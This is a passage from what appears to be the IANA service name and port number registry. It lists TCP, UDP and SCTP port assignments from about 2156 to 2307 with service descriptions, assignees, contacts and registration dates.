trp                2156        udp    Talari Reliable Protocol     [John_E_Dickey]                                       [John_E_Dickey]                                           2007-09-27
xnds               2157        tcp    Xerox Network Document Scan  [William_R_Lear]                                      [William_R_Lear]                                          2008-03-06
                                      Protocol
xnds               2157        udp    Xerox Network Document Scan  [William_R_Lear]                                      [William_R_Lear]                                          2008-03-06
                                      Protocol
touchnetplus       2158        tcp    TouchNetPlus Service         [Brian_Toothill]                                      [Brian_Toothill]                                          2008-03-06
touchnetplus       2158        udp    TouchNetPlus Service         [Brian_Toothill]                                      [Brian_Toothill]                                          2008-03-06
gdbremote          2159        tcp    GDB Remote Debug Port        [Nigel_Stephens]                                      [Nigel_Stephens]
gdbremote          2159        udp    GDB Remote Debug Port        [Nigel_Stephens]                                      [Nigel_Stephens]
apc-2160           2160        tcp    APC 2160                     [American_Power_Conve]                                [American_Power_Conve]
apc-2160           2160        udp    APC 2160                     [American_Power_Conve]                                [American_Power_Conve]
apc-2161           2161        tcp    APC 2161                     [American_Power_Conve]                                [American_Power_Conve]
apc-2161           2161        udp    APC 2161                     [American_Power_Conve]                                [American_Power_Conve]
navisphere         2162        tcp    Navisphere
navisphere         2162        udp    Navisphere
navisphere-sec     2163        tcp    Navisphere Secure            [Andreas_Bauer]                                       [Andreas_Bauer]
navisphere-sec     2163        udp    Navisphere Secure            [Andreas_Bauer]                                       [Andreas_Bauer]
ddns-v3            2164        tcp    Dynamic DNS Version 3        [Alan_Yates]                                          [Alan_Yates]
ddns-v3            2164        udp    Dynamic DNS Version 3        [Alan_Yates]                                          [Alan_Yates]
x-bone-api         2165        tcp    X-Bone API                   [Joe_Touch]                                           [Joe_Touch]
x-bone-api         2165        udp    X-Bone API                   [Joe_Touch]                                           [Joe_Touch]
iwserver           2166        tcp    iwserver                     [Fred_Surr]                                           [Fred_Surr]
iwserver           2166        udp    iwserver                     [Fred_Surr]                                           [Fred_Surr]
raw-serial         2167        tcp    Raw Async Serial Link        [Benjamin_Green]                                      [Benjamin_Green]
raw-serial         2167        udp    Raw Async Serial Link        [Benjamin_Green]                                      [Benjamin_Green]
easy-soft-mux      2168        tcp    easy-soft Multiplexer        [Norbert_Kintzler]                                    [Norbert_Kintzler]                                        2004-11
easy-soft-mux      2168        udp    easy-soft Multiplexer        [Norbert_Kintzler]                                    [Norbert_Kintzler]                                        2004-11
                                      Backbone for Academic
brain              2169        tcp    Information Notification     [Archishmat_Gore]                                     [Archishmat_Gore]                                         2004-11
                                      (BRAIN)
                                      Backbone for Academic
brain              2169        udp    Information Notification     [Archishmat_Gore]                                     [Archishmat_Gore]                                         2004-11
                                      (BRAIN)
eyetv              2170        tcp    EyeTV Server Port            [Elgato_Systems]                                      [Elgato_Systems]                                          2004-11
eyetv              2170        udp    EyeTV Server Port            [Elgato_Systems]                                      [Elgato_Systems]                                          2004-11
msfw-storage       2171        tcp    MS Firewall Storage
msfw-storage       2171        udp    MS Firewall Storage
msfw-s-storage     2172        tcp    MS Firewall SecureStorage
msfw-s-storage     2172        udp    MS Firewall SecureStorage
msfw-replica       2173        tcp    MS Firewall Replication
msfw-replica       2173        udp    MS Firewall Replication
msfw-array         2174        tcp    MS Firewall Intra Array      [Itai_Greenberg]                                      [Itai_Greenberg]                                          2004-11
msfw-array         2174        udp    MS Firewall Intra Array      [Itai_Greenberg]                                      [Itai_Greenberg]                                          2004-11
airsync            2175        tcp    Microsoft Desktop AirSync
                                      Protocol
airsync            2175        udp    Microsoft Desktop AirSync
                                      Protocol
rapi               2176        tcp    Microsoft ActiveSync Remote  [Jon_Xu]                                              [Jon_Xu]                                                  2005-08
                                      API
rapi               2176        udp    Microsoft ActiveSync Remote  [Jon_Xu]                                              [Jon_Xu]                                                  2005-08
                                      API
qwave              2177        tcp    qWAVE Bandwidth Estimate     [Gabe_Frost]                                          [Gabe_Frost]                                              2005-08
qwave              2177        udp    qWAVE Bandwidth Estimate     [Gabe_Frost]                                          [Gabe_Frost]                                              2005-08
bitspeer           2178        tcp    Peer Services for BITS       [Jeff_Roberts]                                        [Jeff_Roberts]                                            2005-11
bitspeer           2178        udp    Peer Services for BITS       [Jeff_Roberts]                                        [Jeff_Roberts]                                            2005-11
vmrdp              2179        tcp    Microsoft RDP for virtual    [Brian_Henry]                                         [Brian_Henry]                                             2007-03
                                      machines
vmrdp              2179        udp    Microsoft RDP for virtual    [Brian_Henry]                                         [Brian_Henry]                                             2007-03
                                      machines
mc-gt-srv          2180        tcp    Millicent Vendor Gateway     [Steve_Glassman]                                      [Steve_Glassman]
                                      Server
mc-gt-srv          2180        udp    Millicent Vendor Gateway     [Steve_Glassman]                                      [Steve_Glassman]
                                      Server
eforward           2181        tcp    eforward                     [Greg_Pringle]                                        [Greg_Pringle]
eforward           2181        udp    eforward                     [Greg_Pringle]                                        [Greg_Pringle]
cgn-stat           2182        tcp    CGN status
cgn-stat           2182        udp    CGN status
cgn-config         2183        tcp    Code Green configuration     [Chris_Michaelson]                                    [Chris_Michaelson]                                        2005-08
cgn-config         2183        udp    Code Green configuration     [Chris_Michaelson]                                    [Chris_Michaelson]                                        2005-08
nvd                2184        tcp    NVD User                     [Yves_Gattegno]                                       [Yves_Gattegno]                                           2004-12
nvd                2184        udp    NVD User                     [Yves_Gattegno]                                       [Yves_Gattegno]                                           2004-12
onbase-dds         2185        tcp    OnBase Distributed Disk      [Paul_Tam]                                            [Paul_Tam]                                                2004-12
                                      Services
onbase-dds         2185        udp    OnBase Distributed Disk      [Paul_Tam]                                            [Paul_Tam]                                                2004-12
                                      Services
gtaua              2186        tcp    Guy-Tek Automated Update     [Daniel_Story]                                        [Daniel_Story]                                            2008-01-25
                                      Applications
gtaua              2186        udp    Guy-Tek Automated Update     [Daniel_Story]                                        [Daniel_Story]                                            2008-01-25
                                      Applications
ssmc               2187        tcp    Sepehr System Management
                                      Control
ssmd               2187        udp    Sepehr System Management     [Shahriar_Pourazin]                                   [Shahriar_Pourazin]                                       2008-12-02
                                      Data
radware-rpm        2188        tcp    Radware Resource Pool        [Radware_LTD]                                         [Samuel_Bercovici]                                        2011-08-05
                                      Manager
                   2188        udp    Reserved
radware-rpm-s      2189        tcp    Secure Radware Resource Pool [Radware_LTD]                                         [Samuel_Bercovici]                                        2011-08-05
                                      Manager
                   2189        udp    Reserved
tivoconnect        2190        tcp    TiVoConnect Beacon           [Jeffrey_J_Peters]                                    [Jeffrey_J_Peters]                                        2002-08
tivoconnect        2190        udp    TiVoConnect Beacon           [Jeffrey_J_Peters]                                    [Jeffrey_J_Peters]                                        2002-08
tvbus              2191        tcp    TvBus Messaging              [Brian_W_Beach]                                       [Brian_W_Beach]                                           2003-01
tvbus              2191        udp    TvBus Messaging              [Brian_W_Beach]                                       [Brian_W_Beach]                                           2003-01
asdis              2192        tcp    ASDIS software management    [ASDIS_Support]                                       [ASDIS_Support]                                           2005-08
asdis              2192        udp    ASDIS software management    [ASDIS_Support]                                       [ASDIS_Support]                                           2005-08
drwcs              2193        tcp    Dr.Web Enterprise Management [Eugeny_Gladkih]                                      [Eugeny_Gladkih]                                          2008-01-31
                                      Service
drwcs              2193        udp    Dr.Web Enterprise Management [Eugeny_Gladkih]                                      [Eugeny_Gladkih]                                          2008-01-31
                                      Service
                                                                                                                                                                                                                                                                     Unauthorized
                 2194-2196            Unassigned                                                                                                                                                                                                                     Use Known on
                                                                                                                                                                                                                                                                     ports
                                                                                                                                                                                                                                                                     2194-2196
mnp-exchange       2197        tcp    MNP data exchange            [Peter_Pramberger]                                    [Peter_Pramberger]                                        2004-11
mnp-exchange       2197        udp    MNP data exchange            [Peter_Pramberger]                                    [Peter_Pramberger]                                        2004-11
onehome-remote     2198        tcp    OneHome Remote Access
onehome-remote     2198        udp    OneHome Remote Access
onehome-help       2199        tcp    OneHome Service Port         [Jim_Herman]                                          [Jim_Herman]                                              2005-08
onehome-help       2199        udp    OneHome Service Port         [Jim_Herman]                                          [Jim_Herman]                                              2005-08
ici                2200        tcp    ICI                          [Brent_Hines]                                         [Brent_Hines]
ici                2200        udp    ICI                          [Brent_Hines]                                         [Brent_Hines]
ats                2201        tcp    Advanced Training System
                                      Program
ats                2201        udp    Advanced Training System
                                      Program
imtc-map           2202        tcp    Int. Multimedia              [Pat_Galvin]                                          [Pat_Galvin]
                                      Teleconferencing Cosortium
imtc-map           2202        udp    Int. Multimedia              [Pat_Galvin]                                          [Pat_Galvin]
                                      Teleconferencing Cosortium
b2-runtime         2203        tcp    b2 Runtime Protocol
b2-runtime         2203        udp    b2 Runtime Protocol
b2-license         2204        tcp    b2 License Server            [Helge_Frank_Zimpel]                                  [Helge_Frank_Zimpel]                                      2006-01
b2-license         2204        udp    b2 License Server            [Helge_Frank_Zimpel]                                  [Helge_Frank_Zimpel]                                      2006-01
jps                2205        tcp    Java Presentation Server     [Leif_Jakob]                                          [Leif_Jakob]                                              2006-01
jps                2205        udp    Java Presentation Server     [Leif_Jakob]                                          [Leif_Jakob]                                              2006-01
hpocbus            2206        tcp    HP OpenCall bus              [Jerome_Forissier]                                    [Jerome_Forissier]                                        2005-12
hpocbus            2206        udp    HP OpenCall bus              [Jerome_Forissier]                                    [Jerome_Forissier]                                        2005-12
hpssd              2207        tcp    HP Status and Services       [Donald_Welch]                                        [Donald_Welch]                                            2006-05
hpssd              2207        udp    HP Status and Services       [Donald_Welch]                                        [Donald_Welch]                                            2006-05
hpiod              2208        tcp    HP I/O Backend               [David_Suffield]                                      [David_Suffield]                                          2006-05
hpiod              2208        udp    HP I/O Backend               [David_Suffield]                                      [David_Suffield]                                          2006-05
rimf-ps            2209        tcp    HP RIM for Files Portal      [Patty_Ho]                                            [Patty_Ho]                                                2007-05
                                      Service
rimf-ps            2209        udp    HP RIM for Files Portal      [Patty_Ho]                                            [Patty_Ho]                                                2007-05
                                      Service
noaaport           2210        tcp    NOAAPORT Broadcast Network
noaaport           2210        udp    NOAAPORT Broadcast Network
emwin              2211        tcp    EMWIN                        [Antonio_Querubin]                                    [Antonio_Querubin]                                        2008-03-10
emwin              2211        udp    EMWIN                        [Antonio_Querubin]                                    [Antonio_Querubin]                                        2008-03-10
leecoposserver     2212        tcp    LeeCO POS Server Service     [Patrick_Lee]                                         [Patrick_Lee]                                             2008-03-10
leecoposserver     2212        udp    LeeCO POS Server Service     [Patrick_Lee]                                         [Patrick_Lee]                                             2008-03-10
kali               2213        tcp    Kali                         [Jay_Cotton]                                          [Jay_Cotton]
kali               2213        udp    Kali                         [Jay_Cotton]                                          [Jay_Cotton]
rpi                2214        tcp    RDQ Protocol Interface       [Les_Mather]                                          [Les_Mather]                                              2005-12
rpi                2214        udp    RDQ Protocol Interface       [Les_Mather]                                          [Les_Mather]                                              2005-12
ipcore             2215        tcp    IPCore.co.za GPRS            [Administrator]                                       [Administrator]                                           2005-12
ipcore             2215        udp    IPCore.co.za GPRS            [Administrator]                                       [Administrator]                                           2005-12
vtu-comms          2216        tcp    VTU data service             [David_Barrass]                                       [David_Barrass]                                           2006-01
vtu-comms          2216        udp    VTU data service             [David_Barrass]                                       [David_Barrass]                                           2006-01
gotodevice         2217        tcp    GoToDevice Device Management [John_Lisek]                                          [John_Lisek]                                              2006-01
gotodevice         2217        udp    GoToDevice Device Management [John_Lisek]                                          [John_Lisek]                                              2006-01
bounzza            2218        tcp    Bounzza IRC Proxy            [Danko_Alexeyev]                                      [Danko_Alexeyev]                                          2006-02
bounzza            2218        udp    Bounzza IRC Proxy            [Danko_Alexeyev]                                      [Danko_Alexeyev]                                          2006-02
netiq-ncap         2219        tcp    NetIQ NCAP Protocol          [Roger_Huebner]                                       [Roger_Huebner]                                           2010-08-25
netiq-ncap         2219        udp    NetIQ NCAP Protocol          [Roger_Huebner]                                       [Roger_Huebner]                                           2010-08-25
netiq              2220        tcp    NetIQ End2End                [Michael_Sharpe]                                      [Michael_Sharpe]                                          2010-09-14
netiq              2220        udp    NetIQ End2End                [Michael_Sharpe]                                      [Michael_Sharpe]                                          2010-09-14
ethernet-ip-s      2221        tcp    EtherNet/IP over TLS         [ODVA_Inc]                                            [Brian_Batke_3]                                                        2015-05-28
ethernet-ip-s      2221        udp    EtherNet/IP over DTLS        [ODVA_Inc]                                            [Brian_Batke_3]                                                        2015-05-28
                                      EtherNet/IP I/O

EtherNet-IP-1      2222        tcp    IANA assigned this           [Brian_Batke_2]                                       [Brian_Batke_2]                                                                                                                                          New contact added for port 2222 on 2008-02-01
                                      well-formed service name as
                                      a replacement for
                                      "EtherNet/IP-1".
                                                                                                                                                                                                                                                                                  New contact added for port 2222 on 2008-02-01 This entry is
EtherNet/IP-1      2222        tcp    EtherNet/IP I/O              [Brian_Batke_2]                                       [Brian_Batke_2]                                                                                                                                          an alias to "EtherNet-IP-1". This entry is now historic, not
                                                                                                                                                                                                                                                                                  usable for use with many common service discovery mechanisms.
                                      EtherNet/IP I/O

EtherNet-IP-1      2222        udp    IANA assigned this           [Brian_Batke_2]                                       [Brian_Batke_2]                                                                                                                                          New contact added for port 2222 on 2008-02-01
                                      well-formed service name as
                                      a replacement for
                                      "EtherNet/IP-1".
                                                                                                                                                                                                                                                                                  New contact added for port 2222 on 2008-02-01 This entry is
EtherNet/IP-1      2222        udp    EtherNet/IP I/O              [Brian_Batke_2]                                       [Brian_Batke_2]                                                                                                                                          an alias to "EtherNet-IP-1". This entry is now historic, not
                                                                                                                                                                                                                                                                                  usable for use with many common service discovery mechanisms.
rockwell-csp2      2223        tcp    Rockwell CSP2                [Brian_Batke]                                         [Brian_Batke]
rockwell-csp2      2223        udp    Rockwell CSP2                [Brian_Batke]                                         [Brian_Batke]
efi-mg             2224        tcp    Easy Flexible                [Thomas_Efer]                                         [Thomas_Efer]                                             2006-03
                                      Internet/Multiplayer Games
efi-mg             2224        udp    Easy Flexible                [Thomas_Efer]                                         [Thomas_Efer]                                             2006-03
                                      Internet/Multiplayer Games
rcip-itu           2225        tcp    Resource Connection          [ITU_TSB]                                             [ITU_TSB]
                                      Initiation Protocol
                   2225        udp    Reserved
rcip-itu           2225       sctp    Resource Connection          [ITU_TSB]                                             [ITU_TSB]
                                      Initiation Protocol
di-drm             2226        tcp    Digital Instinct DRM
di-drm             2226        udp    Digital Instinct DRM
di-msg             2227        tcp    DI Messaging Service         [Sean_Ni]                                             [Sean_Ni]                                                 2006-02
di-msg             2227        udp    DI Messaging Service         [Sean_Ni]                                             [Sean_Ni]                                                 2006-02
ehome-ms           2228        tcp    eHome Message Server         [Peter_Gabriel]                                       [Peter_Gabriel]                                           2006-01
ehome-ms           2228        udp    eHome Message Server         [Peter_Gabriel]                                       [Peter_Gabriel]                                           2006-01
datalens           2229        tcp    DataLens Service             [Christopher_Bidwell]                                 [Christopher_Bidwell]                                     2006-02
datalens           2229        udp    DataLens Service             [Christopher_Bidwell]                                 [Christopher_Bidwell]                                     2006-02
queueadm           2230        tcp    MetaSoft Job Queue           [Ilya_Melamed]                                        [Ilya_Melamed]                                            2006-06
                                      Administration Service
queueadm           2230        udp    MetaSoft Job Queue           [Ilya_Melamed]                                        [Ilya_Melamed]                                            2006-06
                                      Administration Service
wimaxasncp         2231        tcp    WiMAX ASN Control Plane      [Prakash_Iyer]                                        [Prakash_Iyer]                                            2006-06
                                      Protocol
wimaxasncp         2231        udp    WiMAX ASN Control Plane      [Prakash_Iyer]                                        [Prakash_Iyer]                                            2006-06
                                      Protocol
ivs-video          2232        tcp    IVS Video default            [Thierry_Turletti]                                    [Thierry_Turletti]
ivs-video          2232        udp    IVS Video default            [Thierry_Turletti]                                    [Thierry_Turletti]
infocrypt          2233        tcp    INFOCRYPT                    [Erica_Liu]                                           [Erica_Liu]
infocrypt          2233        udp    INFOCRYPT                    [Erica_Liu]                                           [Erica_Liu]
directplay         2234        tcp    DirectPlay                   [Ajay_Jindal]                                         [Ajay_Jindal]
directplay         2234        udp    DirectPlay                   [Ajay_Jindal]                                         [Ajay_Jindal]
sercomm-wlink      2235        tcp    Sercomm-WLink                [Melinda_Tsao]                                        [Melinda_Tsao]
sercomm-wlink      2235        udp    Sercomm-WLink                [Melinda_Tsao]                                        [Melinda_Tsao]
nani               2236        tcp    Nani                         [Steve_Benoit]                                        [Steve_Benoit]
nani               2236        udp    Nani                         [Steve_Benoit]                                        [Steve_Benoit]
optech-port1-lm    2237        tcp    Optech Port1 License Manager [Gerard_Cannie]                                       [Gerard_Cannie]
optech-port1-lm    2237        udp    Optech Port1 License Manager [Gerard_Cannie]                                       [Gerard_Cannie]
aviva-sna          2238        tcp    AVIVA SNA SERVER             [Vick_Keshishian]                                     [Vick_Keshishian]
aviva-sna          2238        udp    AVIVA SNA SERVER             [Vick_Keshishian]                                     [Vick_Keshishian]
imagequery         2239        tcp    Image Query                  [Charles_Jacobs]                                      [Charles_Jacobs]
imagequery         2239        udp    Image Query                  [Charles_Jacobs]                                      [Charles_Jacobs]
recipe             2240        tcp    RECIPe                       [Charlie_Limoges]                                     [Charlie_Limoges]                                         1997-12-16
recipe             2240        udp    RECIPe                       [Charlie_Limoges]                                     [Charlie_Limoges]                                         1997-12-16
ivsd               2241        tcp    IVS Daemon                   [Thierry_Turletti]                                    [Thierry_Turletti]
ivsd               2241        udp    IVS Daemon                   [Thierry_Turletti]                                    [Thierry_Turletti]
foliocorp          2242        tcp    Folio Remote Server          [Pat_Mcgowan]                                         [Pat_Mcgowan]
foliocorp          2242        udp    Folio Remote Server          [Pat_Mcgowan]                                         [Pat_Mcgowan]
magicom            2243        tcp    Magicom Protocol             [Yossi_Appleboum]                                     [Yossi_Appleboum]
magicom            2243        udp    Magicom Protocol             [Yossi_Appleboum]                                     [Yossi_Appleboum]
nmsserver          2244        tcp    NMS Server                   [Dmitry_Krasnonosenki]                                [Dmitry_Krasnonosenki]
nmsserver          2244        udp    NMS Server                   [Dmitry_Krasnonosenki]                                [Dmitry_Krasnonosenki]
hao                2245        tcp    HaO                          [Panic_Ride]                                          [Panic_Ride]
hao                2245        udp    HaO                          [Panic_Ride]                                          [Panic_Ride]
pc-mta-addrmap     2246        tcp    PacketCable MTA Addr Map     [Dave_Maxwell]                                        [Dave_Maxwell]
pc-mta-addrmap     2246        udp    PacketCable MTA Addr Map     [Dave_Maxwell]                                        [Dave_Maxwell]
antidotemgrsvr     2247        tcp    Antidote Deployment Manager  [Rod_Waltermann]                                      [Rod_Waltermann]                                          2006-02
                                      Service
antidotemgrsvr     2247        udp    Antidote Deployment Manager  [Rod_Waltermann]                                      [Rod_Waltermann]                                          2006-02
                                      Service
ums                2248        tcp    User Management Service      [Andrew_Crockford]                                    [Andrew_Crockford]
ums                2248        udp    User Management Service      [Andrew_Crockford]                                    [Andrew_Crockford]
rfmp               2249        tcp    RISO File Manager Protocol   [Shinji_Yamanaka]                                     [Shinji_Yamanaka]
rfmp               2249        udp    RISO File Manager Protocol   [Shinji_Yamanaka]                                     [Shinji_Yamanaka]
remote-collab      2250        tcp    remote-collab                [Richard_Walters]                                     [Richard_Walters]
remote-collab      2250        udp    remote-collab                [Richard_Walters]                                     [Richard_Walters]
dif-port           2251        tcp    Distributed Framework Port   [Sebastien_Lambla]                                    [Sebastien_Lambla]
dif-port           2251        udp    Distributed Framework Port   [Sebastien_Lambla]                                    [Sebastien_Lambla]
njenet-ssl         2252        tcp    NJENET using SSL             [Hans_U_Schmidt]                                      [Hans_U_Schmidt]
njenet-ssl         2252        udp    NJENET using SSL             [Hans_U_Schmidt]                                      [Hans_U_Schmidt]
dtv-chan-req       2253        tcp    DTV Channel Request          [Richard_Hodges]                                      [Richard_Hodges]
dtv-chan-req       2253        udp    DTV Channel Request          [Richard_Hodges]                                      [Richard_Hodges]
seispoc            2254        tcp    Seismic P.O.C. Port          [Robert_Reimiller]                                    [Robert_Reimiller]
seispoc            2254        udp    Seismic P.O.C. Port          [Robert_Reimiller]                                    [Robert_Reimiller]
vrtp               2255        tcp    VRTP - ViRtue Transfer       [Max_Fudim]                                           [Max_Fudim]
                                      Protocol
vrtp               2255        udp    VRTP - ViRtue Transfer       [Max_Fudim]                                           [Max_Fudim]
                                      Protocol
pcc-mfp            2256        tcp    PCC MFP                      [Kunihiko_Morota]                                     [Kunihiko_Morota]                                         2005-08
pcc-mfp            2256        udp    PCC MFP                      [Kunihiko_Morota]                                     [Kunihiko_Morota]                                         2005-08
simple-tx-rx       2257        tcp    simple text/file transfer    [Daniel_Kilsdonk]                                     [Daniel_Kilsdonk]                                         2006-08
simple-tx-rx       2257        udp    simple text/file transfer    [Daniel_Kilsdonk]                                     [Daniel_Kilsdonk]                                         2006-08
rcts               2258        tcp    Rotorcraft Communications    [Terry_Eldridge]                                      [Terry_Eldridge]                                          2006-08
                                      Test System
rcts               2258        udp    Rotorcraft Communications    [Terry_Eldridge]                                      [Terry_Eldridge]                                          2006-08
                                      Test System
                   2259               Unassigned                                                                                                                                                2011-06-28
apc-2260           2260        tcp    APC 2260                     [American_Power_Conve]                                [American_Power_Conve]                                    2002-02
apc-2260           2260        udp    APC 2260                     [American_Power_Conve]                                [American_Power_Conve]                                    2002-02
comotionmaster     2261        tcp    CoMotion Master Server
comotionmaster     2261        udp    CoMotion Master Server
comotionback       2262        tcp    CoMotion Backup Server       [Friedman_Wagner_Dobl]                                [Friedman_Wagner_Dobl]                                    2005-09
comotionback       2262        udp    CoMotion Backup Server       [Friedman_Wagner_Dobl]                                [Friedman_Wagner_Dobl]                                    2005-09
ecwcfg             2263        tcp    ECweb Configuration Service  [Anders_Hjelm]                                        [Anders_Hjelm]                                            2006-03
ecwcfg             2263        udp    ECweb Configuration Service  [Anders_Hjelm]                                        [Anders_Hjelm]                                            2006-03
apx500api-1        2264        tcp    Audio Precision Apx500 API
                                      Port 1
apx500api-1        2264        udp    Audio Precision Apx500 API
                                      Port 1
apx500api-2        2265        tcp    Audio Precision Apx500 API   [Robert_Wright]                                       [Robert_Wright]
                                      Port 2
apx500api-2        2265        udp    Audio Precision Apx500 API   [Robert_Wright]                                       [Robert_Wright]
                                      Port 2
mfserver           2266        tcp    M-Files Server               [Samppa_Lahtinen]                                     [Samppa_Lahtinen]                                         2004-06
mfserver           2266        udp    M-files Server               [Samppa_Lahtinen]                                     [Samppa_Lahtinen]                                         2004-06
ontobroker         2267        tcp    OntoBroker                   [Dr_Michael_Erdmann]                                  [Dr_Michael_Erdmann]                                      2004-12
ontobroker         2267        udp    OntoBroker                   [Dr_Michael_Erdmann]                                  [Dr_Michael_Erdmann]                                      2004-12
amt                2268        tcp    AMT                          [IESG]                                                [IETF_Chair]                                              2004-12      2014-12-17   [RFC7450]
amt                2268        udp    AMT                          [IESG]                                                [IETF_Chair]                                              2004-12      2014-12-17   [RFC7450]
mikey              2269        tcp    MIKEY                        [Karl_Norrman]                                        [Karl_Norrman]                                            2004-12
mikey              2269        udp    MIKEY                        [Karl_Norrman]                                        [Karl_Norrman]                                            2004-12
starschool         2270        tcp    starSchool                   [Adam_Ernst]                                          [Adam_Ernst]                                              2004-12
starschool         2270        udp    starSchool                   [Adam_Ernst]                                          [Adam_Ernst]                                              2004-12
mmcals             2271        tcp    Secure Meeting Maker
                                      Scheduling
mmcals             2271        udp    Secure Meeting Maker
                                      Scheduling
mmcal              2272        tcp    Meeting Maker Scheduling     [Andrew_H_Derbyshire]                                 [Andrew_H_Derbyshire]                                     2004-12
mmcal              2272        udp    Meeting Maker Scheduling     [Andrew_H_Derbyshire]                                 [Andrew_H_Derbyshire]                                     2004-12
mysql-im           2273        tcp    MySQL Instance Manager       [Petr_Chardin]                                        [Petr_Chardin]                                            2004-12
mysql-im           2273        udp    MySQL Instance Manager       [Petr_Chardin]                                        [Petr_Chardin]                                            2004-12
pcttunnell         2274        tcp    PCTTunneller                 [ProControl_Technolog]                                [ProControl_Technolog]                                    2004-12
pcttunnell         2274        udp    PCTTunneller                 [ProControl_Technolog]                                [ProControl_Technolog]                                    2004-12
ibridge-data       2275        tcp    iBridge Conferencing
ibridge-data       2275        udp    iBridge Conferencing
ibridge-mgmt       2276        tcp    iBridge Management           [Patrick_Fisher]                                      [Patrick_Fisher]                                          2004-12
ibridge-mgmt       2276        udp    iBridge Management           [Patrick_Fisher]                                      [Patrick_Fisher]                                          2004-12
bluectrlproxy      2277        tcp    Bt device control proxy      [Mark_de_Rooi]                                        [Mark_de_Rooi]                                            2004-12
bluectrlproxy      2277        udp    Bt device control proxy      [Mark_de_Rooi]                                        [Mark_de_Rooi]                                            2004-12
s3db               2278        tcp    Simple Stacked Sequences     [David_Brandon]                                       [David_Brandon]                                           2006-08
                                      Database
s3db               2278        udp    Simple Stacked Sequences     [David_Brandon]                                       [David_Brandon]                                           2006-08
                                      Database
xmquery            2279        tcp    xmquery                      [Niels_Christiansen]                                  [Niels_Christiansen]
xmquery            2279        udp    xmquery                      [Niels_Christiansen]                                  [Niels_Christiansen]
lnvpoller          2280        tcp    LNVPOLLER
lnvpoller          2280        udp    LNVPOLLER
lnvconsole         2281        tcp    LNVCONSOLE
lnvconsole         2281        udp    LNVCONSOLE
lnvalarm           2282        tcp    LNVALARM
lnvalarm           2282        udp    LNVALARM
lnvstatus          2283        tcp    LNVSTATUS
lnvstatus          2283        udp    LNVSTATUS
lnvmaps            2284        tcp    LNVMAPS
lnvmaps            2284        udp    LNVMAPS
lnvmailmon         2285        tcp    LNVMAILMON                   [John_Payne]                                          [John_Payne]
lnvmailmon         2285        udp    LNVMAILMON                   [John_Payne]                                          [John_Payne]
nas-metering       2286        tcp    NAS-Metering                 [Steven_Sawkins]                                      [Steven_Sawkins]
nas-metering       2286        udp    NAS-Metering                 [Steven_Sawkins]                                      [Steven_Sawkins]
dna                2287        tcp    DNA                          [Tung_Nguyen]                                         [Tung_Nguyen]
dna                2287        udp    DNA                          [Tung_Nguyen]                                         [Tung_Nguyen]
netml              2288        tcp    NETML                        [Jochen_Hansmeyer]                                    [Jochen_Hansmeyer]
netml              2288        udp    NETML                        [Jochen_Hansmeyer]                                    [Jochen_Hansmeyer]
dict-lookup        2289        tcp    Lookup dict server           [William_Fernando_Mat]                                [William_Fernando_Mat]                                    2005-01
dict-lookup        2289        udp    Lookup dict server           [William_Fernando_Mat]                                [William_Fernando_Mat]                                    2005-01
sonus-logging      2290        tcp    Sonus Logging Services       [Adwait_Sathe]                                        [Adwait_Sathe]                                            2005-08
sonus-logging      2290        udp    Sonus Logging Services       [Adwait_Sathe]                                        [Adwait_Sathe]                                            2005-08
eapsp              2291        tcp    EPSON Advanced Printer Share [SEIKO_EPSON]                                         [SEIKO_EPSON]                                             2006-06
                                      Protocol
eapsp              2291        udp    EPSON Advanced Printer Share [SEIKO_EPSON]                                         [SEIKO_EPSON]                                             2006-06
                                      Protocol
mib-streaming      2292        tcp    Sonus Element Management     [Linda_Lin]                                           [Linda_Lin]                                               2006-08
                                      Services
mib-streaming      2292        udp    Sonus Element Management     [Linda_Lin]                                           [Linda_Lin]                                               2006-08
                                      Services
npdbgmngr          2293        tcp    Network Platform Debug       [Robert_Byrne]                                        [Robert_Byrne]                                            2006-09
                                      Manager
npdbgmngr          2293        udp    Network Platform Debug       [Robert_Byrne]                                        [Robert_Byrne]                                            2006-09
                                      Manager
konshus-lm         2294        tcp    Konshus License Manager      [Francois_Painchaud]                                  [Francois_Painchaud]
                                      (FLEX)
konshus-lm         2294        udp    Konshus License Manager      [Francois_Painchaud]                                  [Francois_Painchaud]
                                      (FLEX)
advant-lm          2295        tcp    Advant License Manager       [Lars_Goran_Magnusson]                                [Lars_Goran_Magnusson]
advant-lm          2295        udp    Advant License Manager       [Lars_Goran_Magnusson]                                [Lars_Goran_Magnusson]
theta-lm           2296        tcp    Theta License Manager        [David_Thompson]                                      [David_Thompson]
                                      (Rainbow)
theta-lm           2296        udp    Theta License Manager        [David_Thompson]                                      [David_Thompson]
                                      (Rainbow)
d2k-datamover1     2297        tcp    D2K DataMover 1
d2k-datamover1     2297        udp    D2K DataMover 1
d2k-datamover2     2298        tcp    D2K DataMover 2              [Eric_Lan]                                            [Eric_Lan]
d2k-datamover2     2298        udp    D2K DataMover 2              [Eric_Lan]                                            [Eric_Lan]
pc-telecommute     2299        tcp    PC Telecommute               [John_Daniel_Bonamico]                                [John_Daniel_Bonamico]
pc-telecommute     2299        udp    PC Telecommute               [John_Daniel_Bonamico]                                [John_Daniel_Bonamico]
cvmmon             2300        tcp    CVMMON                       [Roger_Kumpf]                                         [Roger_Kumpf]
cvmmon             2300        udp    CVMMON                       [Roger_Kumpf]                                         [Roger_Kumpf]
cpq-wbem           2301        tcp    Compaq HTTP                  [Scott_Shaffer]                                       [Scott_Shaffer]
cpq-wbem           2301        udp    Compaq HTTP                  [Scott_Shaffer]                                       [Scott_Shaffer]
binderysupport     2302        tcp    Bindery Support              [Narasimha_Rao_N]                                     [Narasimha_Rao_N]
binderysupport     2302        udp    Bindery Support              [Narasimha_Rao_N]                                     [Narasimha_Rao_N]
proxy-gateway      2303        tcp    Proxy Gateway                [Paul_Funk]                                           [Paul_Funk]
proxy-gateway      2303        udp    Proxy Gateway                [Paul_Funk]                                           [Paul_Funk]
attachmate-uts     2304        tcp    Attachmate UTS               [George_Gianelos]                                     [George_Gianelos]
attachmate-uts     2304        udp    Attachmate UTS               [George_Gianelos]                                     [George_Gianelos]
mt-scaleserver     2305        tcp    MT ScaleServer               [Paul_Glaubitz]                                       [Paul_Glaubitz]
mt-scaleserver     2305        udp    MT ScaleServer               [Paul_Glaubitz]                                       [Paul_Glaubitz]
tappi-boxnet       2306        tcp    TAPPI BoxNet                 [Richard_Spartz]                                      [Richard_Spartz]
tappi-boxnet       2306        udp    TAPPI BoxNet                 [Richard_Spartz]                                      [Richard_Spartz]
pehelp             2307        tcp    pehelp                       [Jens_Kilian]                                         [Jens_Kilian]
pehelp             2307        udp    pehelp                       [Jens_Kilian]                                         [Jens_Kilian]
